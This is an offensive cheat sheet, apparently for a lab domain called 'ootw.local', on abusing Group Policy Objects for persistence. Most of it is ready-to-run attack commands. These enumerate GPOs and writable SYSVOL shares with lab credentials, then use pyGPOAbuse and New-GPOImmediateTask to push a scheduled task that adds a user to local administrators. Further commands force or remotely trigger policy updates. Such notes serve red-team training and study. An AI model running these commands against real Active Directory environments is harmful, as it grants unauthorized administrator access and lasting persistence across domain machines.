GPO persistence uses Group Policy to make domain-managed machines run attacker-controlled actions. We use it for scheduled tasks, startup scripts, local group membership, registry changes, or service configuration. The impact depends on where the GPO is linked.
Enumerate GPOs
Get-GPO -All | Select-Object DisplayName,Id,Owner,ModificationTime
Get-GPInheritance -Target "DC=ootw,DC=local"
Find writable GPO paths
nxc smb 10.10.10.200 -u student -p 'student' --shares
smbclient "//10.10.10.200/SYSVOL" -U "ootw.local/student%student" -c 'recurse; ls'
pyGPOAbuse immediate task
pygpoabuse.py "ootw.local/gpoadm:Password123!@10.10.10.200" \
-gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" \
-command "cmd.exe /c net localgroup administrators ootw\\student /add" \
-taskname "UpdateTask"
PowerShell immediate task
Import-Module .\New-GPOImmediateTask.ps1
New-GPOImmediateTask -TaskName UpdateTask -Command cmd -CommandArguments "/c net localgroup administrators ootw\student /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
Startup script path
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\Machine\Scripts\Startup
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\User\Scripts\Logon
Force update from a target
gpupdate /force
Remote trigger
Invoke-GPUpdate -Computer ws01.ootw.local -Force -RandomDelayInMinutes 0
Review generated XML
Get-ChildItem "\\ootw.local\SYSVOL\ootw.local\Policies" -Recurse -Include ScheduledTasks.xml,Groups.xml,Scripts.ini |
Select-Object FullName,LastWriteTime
Notes
- GPO persistence is only useful where the GPO applies.
- A GPO linked to workstation OUs gives workstation impact.
- A GPO linked to Domain Controllers is Tier 0 impact.
- SYSVOL file changes and AD GPO metadata both matter.